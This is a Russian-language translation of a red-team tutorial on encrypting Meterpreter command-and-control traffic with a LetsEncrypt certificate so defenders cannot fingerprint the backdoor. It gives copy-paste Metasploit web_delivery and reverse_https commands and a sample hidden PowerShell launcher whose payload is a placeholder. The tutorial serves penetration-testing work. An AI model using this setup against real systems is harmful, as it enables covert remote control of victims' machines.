Перевод: Руководство RED TEAM - #1

Перевод: Руководство RED TEAM - #1

@Ent_TranslateIB

Шифрование трафика Meterpreter

Темы:

  • Регистрация домена
  • Letsencrypt
  • Meterpreter Magic

ПРЕКРАТИТЕ ИСПОЛЬЗОВАТЬ SSL-СЕРТИФИКАТЫ ПО УМОЛЧАНИЮ

По умолчанию Meterpreter создает пользовательские SSL-сертификаты для шифрования трафика между целью и вашим C2-сервером, если вы включили SSL. Однако эти пользовательские SSL-сертификаты содержат данные с отпечатками, которые позволяют специалистам легко обнаружить ваш бэкдор.

Очевидно, что с помощью SSL Termination (или SSL offloading) специалисты смогли бы прочитать и интерпретировать поток данных, но эта техника требует больших вычислительных затрат и поэтому - в большинстве случаев - требует отдельного устройства. В любом случае, на момент написания статьи SSL Termination используется не очень часто из-за связанных с этим затрат или незрелости организации.

Возвращаемся к Meterpreter.

1. Зарегистрируйте домен

Во-первых, зарегистрируйте домен для вашего сервера C2 или создайте поддомен на существующем домене. Это не только обязательный шаг для получения действительного SSL-сертификата, но и возможность перенести инфраструктуру C2 в другую хостинговую компанию или на другой IP-адрес. Всего одно обновление DNS позволит всем вашим бэкдорам найти ваш C2-сервер.

2. Используйте LetsEncrypt для создания SSL-сертификата

Чтобы избежать обнаружения из-за отпечатков SSL-сертификатов, вы должны создавать свои собственные пользовательские SSL-сертификаты. К счастью, именно здесь на помощь приходит LetsEncrypt. Некоммерческий центр сертификации, предоставляющий сертификаты TLS 260 миллионам веб-сайтов бесплатно (!).

  • Переходим на certbot.eff.org
  • Для программного обеспечения не выбирайте ничего из вышеперечисленного
  • Для системы, выберите свою операционную систему. В моем случае: Ubuntu 20.04
  • Следуйте инструкциям по установке Certbot на вашем сервере C2
  • Затем запросите сертификат, используя опцию --standalone:
    # certbot certonly --standalone -d YOURDOMAINHERE
  • Если все прошло нормально, ваш сертификат должен находиться в этом каталоге: /etc/letsencrypt/live/YOURDOMAINHERE

Чтобы сделать этот совершенно новый сертификат готовым для Meterpreter, нам нужно объединить сертификат с его закрытым ключом.

  • Создайте каталог для сохранения пользовательского сертификата в:
    # mkdir /opt/ssl
  • Объедините сертификат LetsEncrypt и закрытый ключ:

# cat /etc/letsencrypt/live/YOURDOMAINHERE/privkey.pem /etc/letsencrypt/live/YOURDOMAINHERE/fullchain.pem > /opt/ssl/unified.pem

Вы можете повысить свой OpSec, используя Cloudflare вместо LetsEncrypt. Недостатком является то, что вы можете использовать только WEB-порты для своих C2-соединений, поскольку Cloudflare перенаправляет WEB-трафик только на ваш IP-адрес.

3. Meterpreter Magic

Итак, теперь, когда вы настроили все предварительные параметры, мы наконец-то можем приступить к работе с Meterpreter. Для этого примера я собираюсь использовать модуль Meterpreter exploit/multi/script/web_delivery и полезную нагрузку windows/x64/meterpreter/reverse_https. Пример:

Пример Meterpreter от Crypt0jan

На изображении выше вы видите опции SSL в разделе 'Module', но ни одной в разделе 'Payload'. Если вы немного знакомы с Meterpreter, вы знаете, что есть несколько "advanced" опций. Одна особенно важная опция, позволяющая избежать обнаружения, это HandlerSSLCert. Эта опция отменяет стандартную (автоматически создаваемый SSL сертификат с отпечатками), устанавливая ваш собственный SSL сертификат для 'stager'.

Не забудьте включить проверку этого сертификата, установив stagerverifysslcert на true.

Итак, вот команды, если вам нужно скопировать/вставить:

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_https
set sslcert /opt/ssl/unified.pem
set ssl true
set srvport 80
set lhost YOURDOMAINHERE
set lport 443
set HandlerSSLCert /opt/ssl/unified.pem
set StagerVerifySSLCert true
set target 2
exploit -j -z

Обратите внимание, что похоже, что я установил один и тот же сертификат дважды. Это правильно. Один раз для прослушивателя и один раз для использования в соединении stager.

После выполнения последней команды (exploit -j -z) вы получите команду Powershell для запуска на целевой машине:

[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] Using URL: https://0.0.0.0:80/RaNdOmStRiNg
[*] Local IP: https://0.0.0.0:80/RaNdOmStRiNg
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e VGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiA=

Теперь откройте браузер и перейдите на сайт https://YOURDOMAINHERE:443. SSL-соединение будет действительным, и на нем будет отображаться сертификат LetsEncrypt, который вы установили.

Хорошая работа!


Перевод статьи был выполнен проектом перевод энтузиаста:

  • 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
  • 🔥 @Ent_Translate - Инстаграм проекта

Report Page